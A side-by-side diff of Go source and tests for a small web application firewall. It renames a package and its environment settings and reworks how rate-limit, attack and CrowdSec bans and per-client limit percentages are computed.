hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now, func limitFigures(hit ratelimit.Hit) map[string]any {
cfg.ErrorBurstThreshold) return map[string]any{
if !over { figureWindow: hit.Window, figureCount: hit.Count, figureLimit: hit.Limit,
return
} }
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
} }
// countedBytes returns the request's bytes, once it has ended, as the // countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body // byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. // bytes, the request's, or both, as SWW_BYTES_COUNT says.
func (rq *request) countedBytes() int64 { func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes response, request := rq.out.bytes, rq.requestBytes
@@ -138,7 +94,7 @@ func (rq *request) countedBytes() int64 {
// banForLimit bans the client's netblock at now for a broken limit, the // banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in // one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent: // the metrics. status is what the client was sent, or is sent:
// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for // SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the // one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a // error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets // rate limit or a byte limit; the error burst is not lowered. The ban sets
@@ -150,7 +106,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
case ratelimit.KindBytes: case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals: case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst rq.line.LimitHit = requestlog.LimitHitMinuteRefusals
default: default:
rq.line.LimitHit = hit.Window rq.line.LimitHit = hit.Window
} }
@@ -178,9 +134,9 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
switch hit.Kind { switch hit.Kind {
case ratelimit.KindRequests: case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged() notes.LimitPercent, notes.LimitPercentSetting = rq.rateLimitPercent.logged()
case ratelimit.KindBytes: case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged() notes.LimitPercent, notes.LimitPercentSetting = rq.bytesLimitPercent.logged()
} }
if rq.h.config.Observe { if rq.h.config.Observe {
@@ -205,11 +161,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
// attack, which notes name: the ban rule that matched, or the trap path // attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes // asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that // no ban, and raises the alert for the ban it would have made, if that
// alert would be sent. // alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) { func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
} }
notes.ASN = rq.line.ASN notes.ASN = rq.line.ASN
@@ -225,7 +181,7 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
rq.alertBan(ban) rq.alertBan(ban)
} }
return return banAction(ban.Permanent())
} }
ban, made := rq.h.ledger.BanForAttack(netblock, now, notes) ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
@@ -234,16 +190,18 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
if made { if made {
rq.alertBan(ban) rq.alertBan(ban)
} }
return banAction(ban.Permanent())
} }
// banForCrowdSec bans the client's netblock at now until decision, // banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no // CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert // ban, and raises the alert for the ban it would have made, if that alert
// would be sent. // would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) { func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
} }
notes := bans.Notes{ notes := bans.Notes{
@@ -262,7 +220,7 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
rq.alertBan(ban) rq.alertBan(ban)
} }
return return banAction(ban.Permanent())
} }
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires, ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
@@ -272,12 +230,14 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
if made { if made {
rq.alertBan(ban) rq.alertBan(ban)
} }
return banAction(ban.Permanent())
} }
// wouldAlertBan reports whether the alert for a ban on netblock for cause // wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would // made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per // have made is worked out only then, at most once per
// SWWAF_ALERT_COOLDOWN and never with no webhook set: its notes count the // SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
// netblock's requests, which can mean going through every client. // netblock's requests, which can mean going through every client.
func (rq *request) wouldAlertBan( func (rq *request) wouldAlertBan(
netblock netip.Prefix, now time.Time, cause string, netblock netip.Prefix, now time.Time, cause string,
@@ -343,7 +303,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
} }
// netblock is the netblock a ban on client covers: its IPv4 address, // netblock is the netblock a ban on client covers: its IPv4 address,
// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup // widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
// counts it in. // counts it in.
func (h *handler) netblock(client netip.Addr) netip.Prefix { func (h *handler) netblock(client netip.Addr) netip.Prefix {
addr := client.Unmap() addr := client.Unmap()
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -15,8 +15,8 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
@@ -26,7 +26,7 @@ const (
userAgent = "ban-test/1.0" userAgent = "ban-test/1.0"
// permanent is the log line's ban_expires for a permanent ban. // permanent is the log line's ban_expires for a permanent ban.
permanent = "permanent" permanent = "permanent"
// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection. // banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
banResponseClose = "close" banResponseClose = "close"
) )
@@ -40,7 +40,7 @@ func TestBrokenLimitBansTheClient(t *testing.T) {
// client for an hour, the default. // client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
@@ -51,7 +51,7 @@ func TestBrokenLimitBansTheClient(t *testing.T) {
// Every request while the ban lasts is refused. // Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second) clk.advance(time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned) line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" { if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+ t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others", line.BanExpires, line.Offence, "want %s and neither of the others", line.BanExpires, line.Offence,
@@ -78,7 +78,9 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
breakLimit := func() string { breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
return s.get(client, http.StatusForbidden, requestlog.ActionRateLimited).BanExpires line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
return line.BanExpires
} }
wantExpires := func(got string, length time.Duration) { wantExpires := func(got string, length time.Duration) {
t.Helper() t.Helper()
@@ -89,19 +91,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
} }
} }
// A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within // A first ban lasts SWW_LIMIT_BAN_DURATION; one within
// SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long. // SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
wantExpires(breakLimit(), 10*time.Minute) wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10*time.Minute + time.Hour) clk.advance(10*time.Minute + time.Hour)
wantExpires(breakLimit(), 30*time.Minute) wantExpires(breakLimit(), 30*time.Minute)
// Later than that, SWWAF_LIMIT_BAN_DURATION again. // Later than that, SWW_LIMIT_BAN_DURATION again.
clk.advance(30*time.Minute + time.Hour + time.Second) clk.advance(30*time.Minute + time.Hour + time.Second)
wantExpires(breakLimit(), 10*time.Minute) wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10 * time.Minute) clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute) wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is // 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
// permanent. // permanent.
clk.advance(30 * time.Minute) clk.advance(30 * time.Minute)
@@ -111,7 +113,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
} }
clk.advance(365 * 24 * time.Hour) clk.advance(365 * 24 * time.Hour)
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
} }
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
@@ -123,10 +125,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
// client for an hour. // client for an hour.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 { for range 3 {
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
// Later the same day the client has its whole allowance again: the // Later the same day the client has its whole allowance again: the
@@ -135,7 +137,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
clk.advance(time.Hour) clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 { if len(banned) != 2 || banned[0].Notes.Refused != 3 {
@@ -148,8 +150,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
// In the IPv4 cases, client breaks the limit; these two are next to it. // In the IPv4 cases, client breaks the limit; these two are next to it.
const ( const (
allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS allowed = "203.0.113.60" // in SWW_ALLOW_NETS
exempt = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
for _, tc := range []struct { for _, tc := range []struct {
@@ -164,7 +166,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
nil, []string{otherClient, exempt}, nil, []string{otherClient, exempt},
}, },
{ {
"the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets", "the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
map[string]string{banScopeV4Prefix: "24"}, client, map[string]string{banScopeV4Prefix: "24"}, client,
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed}, []string{otherClient, exempt}, []string{"203.0.112.9", allowed},
}, },
@@ -173,7 +175,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"}, []string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
}, },
{ {
"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets", "the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1", map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"}, []string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
}, },
@@ -190,10 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionRateLimited) s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for _, sent := range tc.refused { for _, sent := range tc.refused {
s.get(sent, http.StatusForbidden, requestlog.ActionBanned) s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
for _, sent := range tc.let { for _, sent := range tc.let {
@@ -211,14 +213,14 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
banScopeV4Prefix: "24", banScopeV4Prefix: "24",
deniedCountries: "kp", tagDeny: denyKP,
}) })
// fromDE's ban covers otherClient, which is refused unasked about. // fromDE's ban covers otherClient, which is refused unasked about.
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned) line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.Country != "" { if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country) t.Errorf("log line has country %q, want none", line.Country)
} }
@@ -228,13 +230,29 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
} }
} }
func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1", banScopeV4Prefix: "24",
})
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
}
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) { func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
for _, tc := range []struct { for _, tc := range []struct {
setting string // "" leaves SWWAF_BAN_RESPONSE at its default setting string // "" leaves SWW_BAN_RESPONSE at its default
status int // 0 is the connection closed without an answer status int // 0 is the connection closed without an answer
}{ }{
{"", http.StatusForbidden}, {"", http.StatusForbidden},
@@ -250,7 +268,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", tagDeny: denyKP,
} }
if tc.setting != "" { if tc.setting != "" {
@@ -259,11 +277,11 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
s, _, _ := startWithClock(t, geojsURL, env) s, _, _ := startWithClock(t, geojsURL, env)
s.get(denied, tc.status, requestlog.ActionDenied) s.get(denied, tc.status, requestlog.ActionClientDenied)
s.get(fromKP, tc.status, requestlog.ActionCountryDenied) s.get(fromKP, tc.status, requestlog.ActionClientDenied)
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, tc.status, requestlog.ActionRateLimited) s.get(fromDE, tc.status, requestlog.ActionClientIsRateLimited)
s.get(fromDE, tc.status, requestlog.ActionBanned) s.get(fromDE, tc.status, requestlog.ActionTemporarilyBanned)
}) })
} }
} }
@@ -275,15 +293,15 @@ func TestBanNotes(t *testing.T) {
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
deniedCountries: "kp", tagDeny: denyKP,
}) })
start := clk.Now() start := clk.Now()
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.request(fromDE, "/repo/commits?page=2", s.request(fromDE, "/repo/commits?page=2",
http.StatusForbidden, requestlog.ActionRateLimited) http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
netblock := netip.MustParsePrefix(fromDE + "/32") netblock := netip.MustParsePrefix(fromDE + "/32")
want := bans.Ban{ want := bans.Ban{
@@ -326,7 +344,7 @@ func TestBanNotes(t *testing.T) {
// The next ban counts this one among the earlier. // The next ban counts this one among the earlier.
clk.advance(time.Hour) clk.advance(time.Hour)
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock) got = ledger.Bans(netblock)
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
@@ -344,15 +362,15 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
// One ban is held, so otherClient's ban drops client's. // One ban is held, so otherClient's ban drops client's.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited) s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned) s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
// clock is the time a test sets, by which smallwebwaf counts requests and // clock is the time a test sets, by which sww counts requests and
// makes bans. // makes bans.
type clock struct { type clock struct {
mu sync.Mutex mu sync.Mutex
@@ -375,14 +393,14 @@ func (c *clock) advance(d time.Duration) {
c.now = c.now.Add(d) c.now = c.now.Add(d)
} }
// startWithClock starts servewaf, and rproxy in front of an app that answers 200, // startWithClock starts discriminator, and rproxy in front of an app that answers 200,
// with the settings in env on top of trusting localhost's // with the settings in env on top of trusting localhost's
// X-Forwarded-For, clients' AS numbers and countries looked up at // X-Forwarded-For, clients' AS numbers and countries looked up at
// geojsURL, and a clock set to midnight, the start of a bucket in every // geojsURL, and a clock set to midnight, the start of a bucket in every
// window. // window.
func startWithClock( func startWithClock(
t *testing.T, geojsURL string, env map[string]string, t *testing.T, geojsURL string, env map[string]string,
) (*sender, *clock, *servewaf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -392,17 +410,18 @@ func startWithClock(
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings) addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
} }
// sender sends requests to rproxy one after another, each on a connection of its // sender sends requests to rproxy one after another, each on a connection of its
// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's // own, and checks each one's answer and log line. discriminatorAddr is where
// own endpoints are, which adminRequest asks. Every request servewaf gets must // discriminator's own endpoints are, which ownEndpointRequest asks. Every request
// come through the sender, since the log lines are matched to them in order. // discriminator gets must come through the sender, since the log lines are
// matched to them in order.
type sender struct { type sender struct {
t *testing.T t *testing.T
addr string addr string
serveWAFAddr string discriminatorAddr string
out *output out *output
sent int sent int
} }
+129
View File
@@ -0,0 +1,129 @@
package discriminator
import (
"sneak.berlin/go/smallwebwaf/internal/config"
)
// whole is the percentage of each limit a client gets when no biased
// threshold lowers its limits.
const whole = 100
// percentage is a client's limit percentage for the rate limits or for
// the byte limits, as the biased thresholds give it, and the setting that
// gave it: "" with whole when none lowers that kind of limit.
type percentage struct {
percent int64
setting string
}
// biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
}
// limitPercentages returns the client's limit percentages, for the rate
// limits and for the byte limits, by its tags, its AS number and country
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
// AbuseIPDB that list it. Each is the lowest of those the settings give
// it, the first of them in the order below when several are lowest: the
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
}
fetched := percentage{percent: whole}
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
}
blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
}
reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
}
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
}
}
asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
}
if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
}
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
}
// given returns the percentage percents, the setting named setting, gives
// code, an AS number, a country or a tag, or whole when it does not list code.
func given(percents map[string]int64, code, setting string) percentage {
percent, listed := percents[code]
if !listed {
return percentage{percent: whole}
}
return percentage{percent, setting}
}
// lowest returns the lowest of percentages below whole, the first of them
// when several are lowest, or whole when none is below it.
func lowest(percentages ...percentage) percentage {
low := percentage{percent: whole}
for _, p := range percentages {
if p.percent < low.percent {
low = p
}
}
return low
}
// logged returns p as the log line and the notes of a ban give it: its
// percent and setting, or nil and "" for whole, which they leave out.
func (p percentage) logged() (*int64, string) {
if p.percent == whole {
return nil, ""
}
return &p.percent, p.setting
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,18 +15,17 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
// The biased thresholds. // The biased thresholds.
const ( const (
asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT" tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT" asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT" countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT" unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
) )
const ( const (
@@ -35,6 +34,11 @@ const (
asnDEHalf = asnDE + ":50" asnDEHalf = asnDE + ":50"
asnDEQuarter = asnDE + ":25" asnDEQuarter = asnDE + ":25"
countryDEHalf = "de:50" countryDEHalf = "de:50"
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
asnTagDEHalf = "asn=64496:50"
asnTagDEQuarter = "asn=64496:25"
countryTagDEHalf = "country=DE:50"
countryTagDEQuarter = "country=DE:25"
// noCountry is in an AS of its own, AS64500, and in no country. // noCountry is in an AS of its own, AS64500, and in no country.
noCountry = "192.0.2.80" noCountry = "192.0.2.80"
// fourAMinute is the rate limit these tests set: half of it is 2 // fourAMinute is the rate limit these tests set: half of it is 2
@@ -54,8 +58,8 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
setting, value, from string setting, value, from string
}{ }{
